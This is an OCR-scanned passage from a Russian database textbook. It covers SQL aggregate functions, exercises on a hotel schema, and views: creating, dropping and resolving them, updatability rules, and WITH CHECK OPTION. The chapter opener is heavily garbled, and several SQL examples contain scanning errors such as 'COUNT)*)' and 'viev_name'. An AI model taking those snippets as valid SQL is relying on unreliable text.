В языке SQL определено пять обобщающих функций (COUNT, SUM, AVG, MIN и MAX), каждая из которых как аргумент использует значения всех строк указанного столбца и возвращает в качестве результата единственное значение. В одном предложении SELECT не допускается смешивать и обобщающие функции, и имена столбцов, за исключением случая использования предложения GROUP BY.
Предложение GROUP BY позволяет суммировать информацию, помещенную в результирующую таблицу запроса. Строки, которые имеют одно и то же значение в одном или нескольких столбцах, могут быть объединены и рассматриваться как исходная информация для обобщающих функций. В этом случае обобщающая функция воспринимает каждую из групп как аргумент и вычисляет единственное значение для каждой группы, возвращаемое как результат. В случае групп фраза HAVING выполняет те же самые функции, что и предложение WHERE в случае обычных запросов. С ее помощью можно выполнить отбор групп, которые будут помещены в результирующую таблицу запроса. Однако, в отличие от предложения WHERE, во фразе HAVING могут использоваться обобщающие функции.
Подзапрос представляет собой завершенный оператор SELECT, встроенный в тело другого запроса. Подзапросы могут помещаться в предложения WHERE и HAVING. Концептуально, в результате выполнения подзапроса создается временная таблица, содержимое которой становится доступным внешнему запросу. В подзапрос может быть внедрен другой подзапрос.
Если столбцы результирующей таблицы выбираются более чем из одной исходной таблицы, для последних должна быть выполнена операция соединения. Имена соединяемых таблиц указываются в предложении FROM, а столбцы, по которым осуществляется соединение, обычно определяются в предложении WHERE. Стандарт ISO допускает использование открытых соединений. Кроме того, он позволяет применять операции над множествами (объединение, пересечение и разность), определяемые с помощью ключевых слов UNION, INTERSECT и EXCEPT.
■ Помимо оператора SELECT, язык SQL DML включает оператор INSERT, предназначенный для вставки одной строки данных в указанную таблицу или для вставки в таблицу произвольного количества строк, извлеченных из других таблиц с помощью некоторого подзапроса. Оператор UPDATE предназначен для обновления одного или нескольких значений заданных столбцов указанной таблицы. Оператор DELETE позволяет удалить из заданной таблицы одну или более строк данных.
■ Стандарт ISO предусматривает использование шести базовых типов данных: символьных и битовых строк, точных и округленных чисел, даты/времени и временного интервала.
■ Операторы языка SQL DDL позволяют создавать новые объекты базы данных. Операторы CREATE и DROP SCHEMA позволяют создавать и удалять схемы. Операторы CREATE, ALTER и DROP TABLE позволяют создавать, модифицировать и удалять таблицы базы данных. Операторы CREATE и DROP INDEX позволяют создавать и удалять индексы для указанной таблицы.
Вопросы
Что является двумя главными компонентами языка SQL и какие функции они выполняют?
Каковы достоинства и недостатки языка SQL?
Объясните назначение каждого их предложений, которые могут присутствовать в операторе SELECT. Какие ограничения накладываются на эти предложения?
Какие ограничения накладываются на использование обобщающих функций в теле оператора SELECT? Как обобщающими функциями обрабатываются значения NULL?
Объясните принципы работы предложения GROUP BY. В чем состоит различие между предложениями WHERE и HAVING?
Каковы различия между подзапросом и соединением? При каких обстоятельствах использование подзапросов становится невозможным?
Упражнения
Представленные ниже таблицы являются частью базы данных, созданной в среде некоторой реляционной СУБД:
Hotel(Hotel_No,Name, Address)
Room(Room_No, Hotel_No, Type, Price)
Booking(Hotel_No,Guest_No, Date_From, DateJTo, Room_No)
Guest(Guest_No,Name, Address)
Таблица Hotel содержит сведения об отелях. Ее первичным ключом является столбец Hotel__No.
Таблица Room содержит сведения о гостиничных номерах каждого из отелей. Ее первичный ключ состоит из столбцов Hotel_No и Room_No.
Таблица Booking содержит сведения о регистрации постояльцев гостиниц. Ее первичный ключ состоит из столбцов Hotel__No, Guest_No и Date_From.
Таблица Guest содержит сведения о постояльцах. Ее первичным ключом является столбец Guest_No.
Простые запросы
Выберите из базы сведения обо всех отелях.
Выберите из базы сведения обо всех отелях, расположенных в Лондоне.
Составьте перечень имен и адресов всех постояльцев, зарегистрированных в отелях Лондона, упорядочив информацию по именам постояльцев в алфавитном порядке.
Составьте список всех двухкомнатных или семейных номеров отелей с ценой менее 40,00 фунтов стерлингов в сутки, упорядочив данные в порядке увеличения стоимости номера.
Выберите все записи регистрации постояльцев, в которых не было заполнено поле date_to.
Обобщающие функции
Сколько отелей принадлежит компании?
Какова средняя стоимость номера?
Чему равен общий суточный доход от всех двухкомнатных номеров?
Сколько различных постояльцев было зарегистрировано на протяжении августа месяца?
Подзапросы и соединения
Составьте отчет с указанием цены и типа всех номеров отеля Grosvenor Hotel.
Перечислите всех постояльцев, в настоящее время снимающих номера в отеле Grosvenor Hotel.
Составьте отчет, содержащий полные сведения обо всех номерах отеля Grosvenor Hotel, с указанием имен постояльцев всех номеров.
Чему равен общий доход от постояльцев, зарегистрированных в отеле Grosvenor Hotel, за сегодняшний день?
Составьте список номеров отеля Grosvenor Hotel, которые в данный момент свободны.
Каковы общие потери от наличия в отеле Grosvenor Hotel свободных номеров?
Группирование ,
Определите количество номеров в каждом из отелей.
Определите количество номеров в каждом из отелей, расположенных в Лондоне.
Каково среднее количество постояльцев, зарегистрированных в каждом из отелей в августе месяце?
Какой тип номеров чаще всего снимается в каждом из отелей Лондона?
Какова сумма потерь от наличия свободных номеров в каждом из отелей за сегодняшний день?
Создание и заполнение таблиц
С помощью оператора CREATE TABLE создайте таблицы Hotel, Room, Booking и Guest.
Введите в каждую из таблиц несколько записей.
Увеличьте стоимость каждого номера на 5%.
Создайте отдельную таблицу с той же самой структурой, что и таблица Booking, предназначенная для хранения архивных записей. С помощью оператора INSERT скопируйте в новую таблицу все записи таблицы Booking, созданные до 1 января 1999 года. Удалите все записи таблицы Booking, созданные до 1 января 1999 года.
Общие вопросы
Ознакомьтесь с описанием диалекта языка SQL в той СУБД, с которой вы в данный момент работаете. Определите степень соответствия этого диалекта стандарту ISO. Проанализируйте функциональные возможности любых расширений языка, поддерживаемых этой СУБД. Имеются ли предусмотренные стандартом функции, которые не поддерживаются данной СУБД?
Докажите, что запрос, построенный с использованием фразы HAVING, всегда может быть переписан в эквивалентной формулировке, не использующей фразы HAVING.
Докажите, что язык SQL является реляционно завершенным.
^Л^у.!^
О#'
^¥<
ГЛАВА
#S '^Л
| ^Дополнительные сре^ языка SQL
в£
В этой главе... ^
Представления (виды) и ихйазначение.
Создание и удаление представлений средствами языка SQL
Как СУБД выполняет операции с представлениями*j^v
V Условия, при которых представление может быть обновляв Преи«рпцества;и недостатки использования представлений* Назначение функций поддержки целостности данных языка SQL. Л;А Определение требований поддержки целостности данных средствами языка SQL, включая:*■
ее
лы
1^А > .^
<• обязательные данные;
;у ^^^^ • ограничения для доменов атрибутов;
|®1®Ш^сущностей;
^ \' ^а*/^ссылочную целостность;
^|,Д>.утребования данного предприятия* ' ^ ^ Л^ / ^^Т^?
^ж^Использование функций поддержки целостности' данных в операто ” *
^^ CREATE и ALTgR^TABLE. ^'
Кай работает модель транзакци^БО а; , Я^Ч^Й%1^ ' ^ i Использование операторов GRANT и'в “ “—^ -
Внедрение SQL-операторов в прох программирования вц^ого у] , Различие между статическими и д^^Ы^^мй'вц'
SQL^nepaTopayH*/'^^^.х
' Как пи^т^^охраммы^от<^аующие внедри
.АРасшцреШЙЯ|:вн^SQL стдндар'ГрМ SQ^S^^^y^MWWIl
Планируемые р^сгфаренйя'этого языка, а ,,^ЙЙ^^^& ^ЛШ^
^Использование теюнрдогии^рВС (Open Database Connec^Vity) — < : %^?
промышленного стакдеот^де-ф^ ж
1MW ^J А'^ в$^
W»#y
на языках
В предыдущей главе мы обсудили некоторые аспекты языка SQL — в частности, средства манипулирования данными и их описания. В этой главе мы продолжим разговор о языке SQL и рассмотрим более сложные аспекты его использования.
Структура этой главы
В разделе 14.1 мы познакомимся с тем, как представления могут быть созданы средствами языка SQL, а также с тем, как СУБД преобразует операции над представлениями в эквивалентные операции над таблицами базы данных. Кроме того, мы обсудим ограничения, которые стандарт ISO для языка SQL накладывает на те представления, которые должны поддерживать возможность обновления данных.
В 1989 году в стандарт ISO была включена функция поддержки целостности данных (Integrity Enhancement Feature — IEF), обеспечивающая средства определения условий поддержки ссылочной целостности и ряда других ограничений. До внесения в стандарт упомянутых изменений ответственность за реализацию этих функций возлагалась на прикладные программы. Введение в язык SQL средств IEF существенно расширило его функциональные возможности и позволило централизовать и упорядочить процедуры контроля за выполнением установленных ограничений. Средства поддержки целостности данных языка SQL рассматриваются в разделе 14.2, а в разделе 14.3 обсуждаются дополнительные возможности определения данных.
Использование представлений можно рассматривать как одно из действенных средств защиты базы данных. Кроме того, в состав языка SQL входит специальная подсистема управления доступом к данным, включающая различные средства, позволяющие организовать совместное использование разных ресурсов базы данных или же ввести необходимые ограничения на доступ к ним. Подсистема управления доступом будет рассмотрена в разделе 14.4.
Ранее, в разделе 13.1, уже упоминалось, что язык SQL может использоваться двумя способами: либо интерактивно, посредством ввода с терминала отдельных операторов, либо программно, посредством внедрения SQL-операторов в программы на процедурных языках программирования. Методы внедрения SQL-операторов в программы на языках программирования высокого уровня будут рассмотрены в разделах 14.5 и 14.6. В разделе 14.7 вашему вниманию предлагается краткий обзор тех функций, которые уже были добавлены в стандарт ISO выпуска 1989 года, а также тех, которые были предложены для включения в будущие версии этого стандарта. В разделе 14.8 обсуждается стандарт ODBC (Open Database Connectivity), который в настоящее время стал фактическим отраслевым стандартом доступа к смешанным базам данных SQL. Как и в предыдущей главе, все обсуждаемые функции языка SQL будут иллюстрироваться примерами, построенными на базе учебного приложения DreamHomey описание которого можно найти в разделе 1.7. При записи SQL- операторов будет использоваться нотация, предложенная выше, в разделе 13.2.
Представления (виды)
Вспомним определение представления, которое было дано в разделе 3.5:
Представление Это динамический результат одной или более реляционных операций, выполненных над отношениями базы данных с целью получения нового отношения. Представление является виртуальным отношением, которое реально в базе данных не существует, но создается по запросу определенного пользователя в результате выполнения этого запроса.
С точки зрения пользователя базы данных, представление выглядит как реальная таблица данных, содержащая набор поименованных столбцов и строк данных. В отличие от реальных таблиц, представления не существуют в базе как некоторый набор сохраняемых значений данных. В действительности доступные через представления
строки и столбцы данных являются результатом выполнения запроса, заданного при определении представления. СУБД сохраняет определение представления в базе данных. Столкнувшись со ссылкой на представление, программы СУБД находят его определение и преобразуют исходный запрос к представлению в эквивалентный запрос к таблицам, использованным в определении представления, после чего модифицированный запрос выполняется. Этот процесс слияния, называемый разрешением представления, будет подробно обсуждаться в разделе 14.1.3. Однако вначале познакомимся с тем, как представления создаются и используются.
Создание представлений (оператор CREATE VIEW)
Оператор CREATE VIEW имеет следующий формат:
CREATE VIEW viev_name [(column_name [,...])]
AS subselect [WITH [CASCADED | LOCAL] CHECK OPTION]
Существует необязательная возможность присвоения собственного имени (параметр column_name^ каждому из столбцов представления. Если указывается список имен столбцов, то он должен иметь количество элементов, равное количеству столбцов в результирующей таблице запроса, заданного параметром subselect. Если список имен столбцов опущен, каждый столбец представления будет иметь имя соответствующего столбца результирующей таблицы запроса, заданного параметром subselect. Список имен столбцов должен обязательно задаваться в том случае, если в именах столбцов результирующей таблицы имеет место неоднозначность. Подобная ситуация возникает в тех случаях, когда подзапрос включает вычисляемые поля, а фраза AS с именами столбцов результирующей таблицы не содержит для них имен или же когда результирующая таблица создается с помощью операции соединения и включает столбцы с одинаковыми именами.
Заданный параметром subselect подзапрос принято называть определяющим запросом. Если указана фраза WITH CHECK OPTION, то гарантируется, что в тех случаях, когда строка данных не удовлетворяет условию, указанному в предложении WHERE определяющего запроса представления, она не будет добавлена в его базовую таблицу (раздел 14.1.6). Следует отметить, что для успешного создания представления необходимо иметь привилегию SELECT для всех упоминаемых в определяющем запросе таблиц, а также привилегию USAGE для всех доменов, используемых в указанных в запросе столбцах. Подробнее речь о привилегиях пойдет ниже, в разделе 14.4. Хотя все представления создаются с помощью одного и того же метода, на практике для различных целей используются разные типы представлений. Назначение представлений различных типов мы продемонстрируем на нескольких конкретных примерах.
; Пример 14.1. Создание горизонтального представления .
Создайте представление, позволяющее менеджеру отделения компании с номером ' 'ВЗ' иметь доступ к данным только тех сотрудников, которые работают в этом отделении.
Горизонтальное представление позволяет ограничить доступ пользователей только * определенными строками, выбранными из одной или нескольких таблиц.
CREATE VIEW manager3_staff
AS SELECT *•;
, FROM staff
WHERE bno = 'B3';
В результате выполнения этого оператора будет создано представление под именем . Manager3_Staff, включающее все столбцы таблицы Staff, но содержащее только те ее строки, в которых номер отделения компании равен 'ВЗ'. (Строго говоря, в этом представлении столбец Впо не является необходимым и вполне может быть исклю-
чен из определения представления, поскольку он всегда будет содержать одно и то же значение — 'ВЗ'.) Если теперь выполнить приведенный ниже SQL-оператор, то его результат будет иметь вид, показанный в табл. 14.1.
SELECT * FROM шападегЗ staff;
Таблица 14.1. Данные, доступные в представлении Manager3_Staff
sno
fname
Iname
address
tel.no
position
sex
dob
salary
nin
bno
SG37
Ann
Beech
81 George St, Glasgow PA1 2JR
0141848
3345
Snr Asst
F
10- Nov-
60
12000. 00
WL43 2514 C
B3
SG14
David
Ford
63 Ashby St, Partick, Glasgow G11
0141
339
2177
Deputy
M
24- Mar-
58
18000. 00
WL22 0658 D
B3
SG5
Susan
Brand
5 Gt Western Rd.
0141334
2001
Manager
F
3-
Jun- 40
24000. 00
WK5 8893
2E
B3
Glasgow G12
(3 строки)
Чтобы гарантировать, что руководитель отделения компании сможет видеть только те строки таблицы Staff, доступ к которым ему разрешен, следует полностью запретить ему прямой доступ к этой таблице, но разрешить доступ к представлению Manager3_Staff. В результате менеджер отдела будет иметь собственное представление о таблице Staff, содержащее сведения только о тех сотрудниках, которые работают в подчиненном ему отделении компании. Предоставление прав доступа будет обсуждаться в разделе 14.4.
Пример 14.2. Создание вертикального представления
Создайте представление, содержащее данные о работниках отделения компании с номером 'ВЗ', но не включающее сведений об их зарплате, поскольку сведения о зарплате работников должны быть доступны только менеджерам тех отделений, в которых они работают.
Вертикальные представления позволяет ограничить доступ пользователей только несколькими столбцами, выбранными из одной или более таблиц базы данных.
CREATE VIEW staff3
AS SELECT sno, fname, Iname, address, tel_no, position, sex FROM staff
WHERE bno = 'B3';
Обратите внимание, что определение этого представления можно переписать, воспользовавшись вместо таблицы Staff представлением Manager3 Staff: CREATE VIEW staff3
AS SELECT sno, fname, Iname, address, tel_no, position, sex FROM manager3_staff;
В любом случае будет создано представление под именем Staff3, содержащее все столбцы таблицы Staff, за исключением столбцов Salary, DOB, NIN и Впо. Данные, содержащиеся в этом представлении, показаны в табл. 14.2.
Таблица 14.2. Данные, доступные в представлении Staf f 3
sno
fname
(name
address
tel.no
position
sex
SG37
Ann
Beech
81 George St, Glasgow PA1 2JR
0141-848-3345
Snr Asst
F
SG14
David
Ford
63 Ashby St, Partick, Glasgow G11
0141-339-2177
Deputy
M
SG5
Susan
Brand
5 Gt Western Rd, Glasgow G12
0141-334-2001
Manager
F
(3 строки)
Для того чтобы гарантировать, что только менеджер отделения будет иметь доступ к сведениям о заработной плате его работников, всему персоналу отделения 'ВЗ' должно быть предоставлено право доступа только к представлению Staff3, но не к самой таблице Staff или представлению Manager 3_Staf f,
Представления, в которых опускается несколько столбцов исходной таблицы, часто называют “вертикальными представлениями”, поскольку при их создании таблица разделяется на части по вертикали. Вертикальные представления обычно используются в тех случаях, когда сохраняемые в таблице данные обрабатываются различными пользователями или группами пользователей. С помощью вертикальных представлений в распоряжение пользователей каждого типа предоставляется виртуальная таблица, состоящая только из тех столбцов, которые им необходимы.
Пример 14.3. Представление с группированием и соединением'
Создайте представление, содержащее данные о работниках, отвечающих за сдаваемые в аренду объекты. Оно должно включать номер отделения компании, табельный номер работника и сведения о количестве объектов, за которые он отвечает.
CREATE VIEW staff prop ent (branch no, staff no, ent)
AS SELECT S.bno, s.sno, COUNT(*)
FROM staff s, property for rent p
WHERE s.sno = p.sno
GROUP BY s.bno, s.sno;'
В представлении, созданном приведенным выше оператором, содержатся сведения, представленные в табл. 14.3.
Таблица 14.3. Данные, доступные в представлении Staf f Prop Cnt
branchno
staffno
ent
B3
SG14
2
B3
SG37
2
B5
SL41
1
B7
SA9
1
(4 строки)
Этот пример иллюстрирует использование подзапроса, содержащего предложение | GROUP BY (в результате чего создается представление, называемое группированным , представлением) и обращающегося к данным нескольких таблиц (подобные пред- 5 ставления называют соединенными представлениями). Одной из важнейших при. чин использования представлений является стремление к упрощению многотаб- > личных запросов. После определения представления с соединением нескольких f таблиц можно будет использовать простейшие однотабличные запросы к этому
представлению вместо сложных запросов с выполнением того же самого многотабличного соединения. Отметим, что в приведенное выше определение представления потребовалось включить список имен столбцов, поскольку в нем использована обобщающая функция Count.
Удаление представлений (оператор DROP VIEW)
Представление удаляется из базы данных с помощью оператора DROP VIEW, имеющего следующий формат:
DROP VIEW view_name [RESTRICT | CASCADE]
При выполнении оператора DROP VIEW определение представления view^name удаляется из базы данных. Например, представление Manager3_Staff можно удалить с помощью следующего оператора:
DROP VIEW manager3_staff;
Если указано ключевое слово CASCADE, при выполнении оператора DROP VIEW будут удалены все связанные с ним или зависящие от него объекты. Другими словами, будут удалены все объекты, содержащие ссылки на удаляемое представление. Если указывается ключевое слово RESTRICT и существуют любые прочие объекты, зависящие от существования удаляемого представления, выполнение этого оператора блокируется. По умолчанию принимается значение RESTRICT.
Разрешение представлений
Познакомившись с тем, как представления создаются и используются, давайте детально проанализируем процедуру выполнения запроса, обращающегося к некоторому представлению. Для иллюстрации процесса разрешения представления рассмотрим приведенный ниже запрос, предназначенный для подсчета сдаваемых в аренду объектов, за которые отвечает каждый из работников отделения компании с номером 'ВЗ'. Этот запрос обращается к представлению Staff_Prop_Cnt, определение которого приведенного в описании примера 14.3:
SELECT staff_no, ent
FROM staff_prop_cnt
WHERE branch_no = 'B3'
ORDER BY staff_no;
Разрешение представления заключается в слиянии приведенного выше запроса с определяющим запросом представления Staff_Prop_Cnt и выполняется следующим образом.
Имена столбцов, указанные в списке предложения SELECT запроса, транслируются в соответствующие им имена столбцов определяющего запроса. В результате предложение SELECT приобретает следующий вид:
SELECT s.sno AS staff_no, COUNT)*) AS ent
Имена представлений, указанные в предложении FROM запроса, замешаются соответствующими списками из предложений FROM определяющего запроса: FROM staff s, property_for_rent p
Предложение WHERE исходного запроса объединяется с предложением WHERE из определяющего запроса представления с помощью логического оператора AND:
WHERE s.sno = p.sno AND bno = 'B3'
Предложения GROUP BY и HAVING из определяющего запроса представления просто копируются в исходный запрос. В нашем примере в определяющем запросе присутствует только предложение GROUP BY:
GROUP BY s.sno, s.bno
Наконец, в объединенный запрос копируется предложение ORDER BY из исходного запроса, в котором имена столбцов представления транслируются в имена столбцов определяющего запроса:
ORDER BY s.sno
В результате всех перечисленных выше операций объединенный запрос приобретает следующий вид:
SELECT s.sno AS staffjio, COUNT)*) AS ent
FROM staff s, property_for_rent p
WHERE s.sno = p.sno AND bno = 'B3'
GROUP BY s.sno, s.bno
ORDER BY s.sno;
Результаты выполнения объединенного запроса представлены в табл. 14.4.
Таблица 14.4. Результирующая таблица запроса, полученного в результате разрешения представления
staff_noent
SG142
SG37 2
(2 строки)
Ограничения на использование представлений
Стандарт ISO включает несколько важных ограничений на создание и использование представлений, хотя в этом отношении между разными диалектами языка SQL существуют определенные отличия.
Если столбец в представлении создается с использованием обобщающей функции, то этот столбец может указываться только в предложениях SELECT и ORDER BY тех запросов, в которых осуществляется доступ к данному представлению. В частности, подобный столбец не может использоваться в предложении WHERE, а также не может быть аргументом в обобщающей функции любого из запросов, обращающихся к данному представлению. Например, рассмотрим представление Staff_Prop_Cnt, определение которого дано в примере 14.3. В этом представлении столбец Cnt содержит результаты применения обобщающей функции COUNT. По этой причине приведенный ниже запрос является некорректным:
SELECT COUNT(cnt)
FROM staff_prop_cnt;
Ошибка состоит в том, что сделана попытка применить к значениям столбца Cnt обобщающую функцию, в то время как обобщающая функция уже использовалась для определения значений в этом столбце. Аналогичным образом, еще один запрос также является некорректным:
SELECT *
FROM staff_prop_cnt
WHERE cnt > 2;
В данном случае ошибка заключается в том, что в предложение WHERE запроса помещен столбец Cnt представления, создаваемый с помощью обобщающей функции.
Сгруппированное представление никогда не должно соединяться с таблицами базы данных или другими представлениями. Например, представление Staff_Prop_Cnt является сгруппированным, поэтому любая попытка выполнить соединение этого представления с таблицей или другим представлением будет расценена системой как ошибка.
Обновление данных в представлениях
Все обновления, выполненные в таблице базы данных, немедленно отображаются во всех представлениях, включающих обращения к этой таблице. Подобным же образом, можно ожидать, что если данные были изменены в представлении, то это изменение будет отображено и в той таблице (таблицах) базы данных, на которой оно построено. Однако это не так. Еще раз обратимся к представлению Staff_Prop_Cnt, определенному в примере 14.3:
CREATE VIEW staff_prop cnt (branchjio, staff_no, cnt)
AS SELECT s.bno, s.sno, COUNT(*)
FROM staff s, property_for_rent p
WHERE s.sno = p.sno
GROUP BY s.bno, s.sno;
Оно содержит данные, представленные в табл. 14.5.
Таблица 14.5. Данные, доступные в представлении Staf f_Prop_Cnt
branchno
staffno
cnt
ВЗ
SG14
2
ВЗ
SG37
2
В5
SL41
1
В?
SA9
1
(4 строки)
Рассмотрим, что произойдет, если попытаться вставить в данное представление запись, отмечающую, что в отделении с номером 'ВЗ' работник с личным номером ^SQ5r отвечает за 2 сдаваемых в аренду объекта. Для этой цели воспользуемся следующим оператором:
INSERT INTO staff_prop cnt
VALUES ('ВЗ', 'SG5', 2j;
При обработке этого оператора потребуется вставить в таблицу Property_for_Rent две записи, отмечающие тот факт, что работник с личным номером 'SG5' отвечает за два объекта недвижимости. Однако это невозможно будет сделать, поскольку неизвестно, за какие именно сдаваемые в аренду объекты отвечает данный работник. Ведь мы не знаем даже значений первичного ключа записей таблицы Property_for_Rent, не говоря уже о других ее столбцах. Попробуем изменить определение представления и заменить столбец с количеством записей столбцом с номерами сдаваемых в аренду объектов:
CREATE VIEW staff_prop_list (branch_no, staff_no, property_no)
AS SELECT s.bno, s.sno, p.pno
FROM staff s, property_for_rent p
WHERE s.sno = p.sno;
А теперь попробуем добавить в представление новую запись:
INSERT INTO staff_prop_list
VALUES ('B3', 'SG5', 'PG19');
Однако и в этом случае вставка новой записи в таблицу окажется невозможной, поскольку в определении таблицы Property_for_Rent указано, что все ее столбцы (за исключением Area, Pcode и Sno) не могут содержать значения NULL (см. пример 13.43). Однако представление Staf f_Prop_List не содержит никаких полей таблицы Proper ty_for_Rent, за исключением номера объекта, поэтому у нас нет возможности задать значения всех остальных обязательных столбцов этой таблицы.
В стандарте ISO указано, что представления могут быть обновляемыми только в тех системах, которые отвечают некоторым четко определенным требованиям. Согласно стандарту ISO представление может быть обновляемым в том и только в том случае, если:
в его определении не используется ключевое слово DISTINCT, т.е. из результатов определяющего запроса не исключаются дублирующиеся строки;
каждый элемент в списке предложения SELECT определяющего запроса представляет собой имя столбца (а не константу, выражение или обобщающую функцию), причем имя каждого из столбцов упоминается в этом списке не более одного раза;
в предложении FROM указана только одна таблица — т.е. представление должно быть создано на базе единственной таблицы, по отношению к которой пользователь должен обладать необходимыми правами доступа. Если исходная таблица сама является представлением, то это представление также должно отвечать указанным условиям. Данное требование исключает возможность обновления любых представлений, построенных на базе соединения, объединения (UNION), пересечения (INTERSECT) или разности (EXCEPT) таблиц;
предложение WHERE не должно включать никаких вложенных запросов типа SELECT, которые ссылаются на таблицу, указанную в предложении FROM;
определяющий запрос не должен содержать предложений GROUP BY и HAVING..
Кроме того, любая строка данных, добавляемая через представление, не должна нарушать требований поддержки целостности данных, установленных для исходной таблицы представления. Например, при добавлении через представление новой строки таблицы во все столбцы таблицы, отсутствующие в этом представлении, будут введены значения NULL. Однако при этом должны соблюдаться все требования NOT NULL, указанные в описании исходной таблицы представления. Основную концепцию, используемую при формулировании обсуждаемых ограничений, можно выразить с помощью следующего определения.
Обновляемое Для того чтобы представление было обновляемым, СУБД долж- представление на иметь возможность однозначно отобразить любую его строку или столбец на соответствующую строку или столбец его исходной таблицы.
Использование фразы WITH CHECK OPTION
В представление помещаются только те строки, которые удовлетворяют условию WHERE в определяющем запросе. Если строка в представлении будет изменена таким образом, что она перестанет удовлетворять этому условию, то эта строка должна исчезнуть из данного представления. Аналогичным образом, в представлении будут появляться новые строки всякий раз, когда вставка или обновление данных в представлении приведет к тому, что новые строки будут удовлетворять условию WHERE. Строки, которые добавляются или исключаются из представления, принято называть мигрирующими.
В общем случае фраза WITH CHECK OPTION оператора CREATE VIEW используется для предотвращения миграции строк из представления. Необязательные ключевые слова LOCAL/CASCADED применимы в случае существования иерархии представлений, т.е. когда представление создается на базе другого представления. Если указана фраза WITH LOCAL CHECK OPTION, то такие действия, как вставка или обновление данных в некотором представлении, на базе которого прямо или косвенно определены другие представления, не могут вызвать исчезновение строки из данного представления, за исключением случаев, когда данная строка исчезает также из представлений или таблиц других уровней иерархии. При указании фразы WITH CASCADED CHECK OPTION (это значение принимается по умолчанию) в случае вставки или обновления строки в данном представлении или в любом другом представлении, прямо или косвенно определенном на базе данного, исчезновение этой строки из данного представления не допускается.
Эта функция может оказаться настолько полезной, что работать с представлениями окажется удобнее, чем с таблицами базы данных. В том случае, когда оператор INSERT или UPDATE нарушает условия, указанные в предложении WHERE определяющего запроса, выполнение затребованной операции отменяется. В результате появляется возможность реализовать в базе данных дополнительные ограничения, направленные на сохранение корректности и целостности данных. Следует отметить, что фразу WITH CHECK OPTION можно указывать только для обновляемых представлений.
Пример 14.4. Использование в определении представления фразы WITH CHECK OPTION■
Еще раз обратимся к представлению, созданному в примере 14.1:
CREATE VIEW manager3_staff
AS SELECT *
FROM Staff
WHERE bno = 'B3'
WITH CHECK OPTION;
Содержимое этого представления приведено в табл. 14.1. Теперь попытаемся изменить значение номера отделения в любой из строк с 'ВЗ' на 'В5', например, с помощью следующего оператора:
UPDATE manager3_staff
SET bno = 'B5'
WHERE sno = 'SG37';
Поскольку в определении представления была указана фраза WITH CHECK OPTION, выполнение этого оператора будет заблокировано, так как в противном случае произойдет миграция строки из данного горизонтального представления. Аналогичным образом, не будет иметь успеха и попытка выполнения следующего оператора:
INSERT INTO manager3_staff
VALUES('SL15', 'Mary', 'Black', '2 Hillcrest, London, NW2', '0181-554-3426', 'Assistant', 'F', '1967-06-21', 8000, 'WM787850T', 'B2');
Поскольку в определении представления указана фраза WITH CHECK OPTION, ввод указанной строки в данное представление будет заблокирован, так как сразу после помещения ее в исходную таблицу Staff она должна будет немедленно исчезнуть из данного представления (отделение 'В2' не принадлежит области определения представления).
А теперь рассмотрим ситуацию, когда представление Manager3_Staff создается не на базе самой таблицы Staff, а на базе другого представления, созданного для этой таблицы.
CREATE VIEW low salary CREATE VIEW high salary CREATE VIEW manager! staff
AS SELECT *AS SELECT *AS SELECT *
FROM staffFROM low salaryFROM high salary
WHERE salary > 9000; WHERE salary > 10000WHERE bno = 'B3r;
WITH LOCAL CHECK OPTION;
Теперь попытаемся выполнить в представлении Manager3-Staff следующий оператор:
UPDATE manager3_staff
SET salary = 9500
WHERE sno = 'SG37';.
Однако это нам не удастся. Суть в том, что после выполнения данного оператора измененная строка исчезнет только из представления High_Salary, но сохранится в представлении Low_Salary, на базе которого представление High_Salary было определено. Если же при обновлении установить новое значение заработной платы равным 8000 фунтов стерлингов, то эта операция будет успешной, поскольку измененная строка должна будет исчезнуть и из представления Low_Salary. Если же при определении представления High_Salary указать фразу WITH CASCADED CHECK OPTION, то при указании любого из упомянутых значений заработной платы — как 9500, так и 8000 фунтов стерлингов в год — выполнение данного обновления будет заблокировано, поскольку измененная строка должна будет исчезнуть из представления High_Salary. Следовательно, для того чтобы получить гарантию, что подобные аномалии обновления никогда не будут иметь места, каждое из создаваемых представлений должно содержать фразу WITH CASCADED CHECK OPTION.
Преимущества и недостатки представлений
Практика ограничения доступа некоторых пользователей к данным посредством создания специализированных представлений, безусловно, имеет значительные преимущества перед предоставлением им прямого доступа к таблицам базы данных. Однако использование представлений в среде SQL не лишено недостатков. В этом разделе мы кратко обсудим как достоинства, так и недостатки, присущие представлениям языка SQL.
Преимущества
В случае выполнения СУБД на отдельно стоящем персональном компьютере использование представлений обычно имеет целью лишь упрощение структуры запросов к базе данных. Однако в случае многопользовательской сетевой СУБД представления играют ключевую роль в определении структуры базы данных и организации защиты информации. Основные преимущества использования представлений в подобной среде заключаются в следующем.
Независимость от данных
С помощью представлений можно создать согласованную, неизменную картину структуры базы данных, которая будет оставаться стабильной даже в случае изменения формата исходных таблиц (например, добавления или удаления столбцов, изменения связей, разделения таблиц, их реструктуризации или переименования). Если в таблицу добавляются или из нее удаляются столбцы, не используемые в представлении, то изменять определение этого представления не потребуется. Если структура исходной таблицы переупорядочивается или эта таблица разделяется, то можно будет создать представление, позволяющее пользователям работать с виртуальной таблицей прежнего формата. В случае разделения исходной таблицы, прежний формат может быть виртуально восстановлен с помощью представления, построенного на основе соединения вновь созданных таблиц — конечно, если это будет возможно. Последнее условие можно обеспечить с помощью помещения во все вновь созданные таблицы первичного ключа прежней таблицы. Допустим, в исходном виде таблица Renter имела следующий вид:
Renter (Rno, FName, LName, Address, Tel_No, Pref_Type, Max Rent, Bno)
Допустим также, что возникла необходимость разбить эту исходную таблицу на две новые таблицы Renter_Details и Renter_Reqts:
Renter J)etaiIs (Rno, FName, LName, Address, Tel_No, Bno)
Renter_Reqts (Rno, Pref_Type, Max_Rent)
Пользователи и приложения смогут по-прежнему иметь доступ к данным с использованием формата исходной таблицы, если определить представление Renter, построенное на базе соединения таблиц Renter_Details и Renter_Reqts, выполненного по ключу Rno:
CREATE VIEW renter
AS SELECT rd.rno, fname, iname, address, tel_no, pref_type, max_rent, bno
FROM renter_details rd, renter_reqts rq
WHERE rd.rno = rq.rno;
Актуальность
Изменения в любой из таблиц базы данных, указанных в определяющем запросе, немедленно отображаются на содержимом представления.
Повышение защищенности данных
Каждому пользователю права доступа к данным в базе могут быть предоставлены исключительно через ограниченный набор представлений, включающих только то подмножество данных, с которыми пользователю необходимо работать. Подобный подход позволяет существенно ужесточить контроль за доступом отдельных категорий пользователей к информации в базе данных.
Снижение сложности
Использование представлений позволяет упростить структуру запросов, объединив данные из нескольких таблиц в единственную виртуальную таблицу. В результате многотабличные запросы сводятся к простым запросам к одному представлению.
Дополнительные удобства
